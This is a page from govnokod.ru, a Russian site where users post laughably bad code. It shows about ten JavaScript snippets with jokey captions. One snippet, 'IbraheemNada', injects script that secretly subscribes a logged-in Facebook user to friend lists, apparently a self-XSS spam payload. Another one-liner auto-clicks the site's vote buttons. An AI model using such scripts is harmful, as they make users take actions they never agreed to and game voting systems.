- 1
elem.innerPHP
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+160
elem.innerPHP
Интересно, почему же не работает?..
+153
// обработка наведения/убирания мышки на тултипы и ссылки
$("a.popup-link").live("mouseenter", function(event) {
var id = parseInt($(this).text().replace(">>", ""));
$(window).data("currentTooltip", id);
showTooltip(this, id);
});
$("a.popup-link").live("mouseleave", function(event) {
$(window).data("currentTooltip", null);
scheduleTooltipClose();
});
$("div.comment-tooltip").live("mouseover", function(event) {
if (!$(event.target).hasClass("popup-link")) {
$(window).data("currentTooltip", $(this).data("id"));
}
});
$("div.comment-tooltip").live("mouseleave", function(event) {
$(window).data("currentTooltip", null);
scheduleTooltipClose();
});
https://github.com/bormand/govnokod-board
Превращаем уютненький форум в уютненькую борду (скрипт для greasemonkey).
P.S. На ГК стоит жквери 1.4, поэтому live() вместо on().
+157
T=setInterval(function() {http=createRequestObject();try{ $($('.com_up[onclick*="digcom("]:not([c="y"])')[0] ).attr('c','y')[0].onclick()}catch(e){ clearInterval(T)}},100);
Очередная попытка впихнуть невпихуемое в 1 строчку.
+148
/**
* Container for all of your app's parts, which are massively reused
*/
module.exports = {};
В недрах одного из многочисленных фреймворков для nodejs...
+160
function IbraheemNada(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}
IbraheemNada("258964547561641");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("407255766069492");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("384263591702043");IbraheemNada("407256859402716");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("");
Надо, Ибрагим, надо!
+154
var image_src = '';
try {
image_src = window.location.origin.toString() + document.images[0].attributes.src.value.toString();
} catch (e) {
}
document.write('<meta property="og:image" content="' + image_src + '" />');
document.write('<div class="yashare-auto-init" data-yashareL10n="ru" data-yashareQuickServices="yaru,vkontakte,facebook,twitter,odnoklassniki,moimir" data-yashareTheme="counter" data-yashareImage="' + image_src + '" ></div> ');
+156
function onFuncIsSome()
{
someFunc();
if( !state )
return;
}
я понимаю что после этого условия что-то когда то было, но выглядит прикольно )
+153
window.onload = function()
{
m1 = new Matrix('matrix1', 20, 20);
m1.create();
var square = new Square(1, 2, 'right');
square.create();
setInterval(square.move, 50);
}
function Square(row, col, course)
{
this.body = [row, col];
this.course = course;
var that = this; // <-- 100500 iopta !!!
this.create = function()
{
m1.setCell(that.body[0], that.body[1], true);
}
this.move = function()
{
var last_body = that.body;
switch(that.course)
{
case 'right':
that.body[1]++;
break;
case 'left':
break;
case 'down':
break;
case 'up':
break;
}
m1.setCell(last_body[0], last_body[1], false);
m1.setCell(that.body[0], that.body[1], true);
}
}
здесь вам не тут, понял, да !
+154
var ajax = new Ajax.Request(this.ADDRESS,
{
method:'post',
parameters:{'secdata':secdata},
onComplete: function ( data ){
//console.log( data.responseText )
setTimeout( function(){ currentObj.callbackCompleteCommit( currentObj.connection.unpuck( data.responseText) )}, 0 ); //out of XHR handler
},
onFailure: function(){hideWaiter(); errorResponse(null,'<b>ERROR:</b>connect') },
asynchronous: true
});
Prototype 1.7.1
Это чувство, когда мешают try catch во внешнем обработчике.
Кстати, я видел фреймворк развивается: в git, и хелпе он уже 1.7.2 )
+159
function popupAlert(message, iserror) {
popupAlert(message, iserror, "");
}
function popupAlert(message, iserror, title)
{
..
}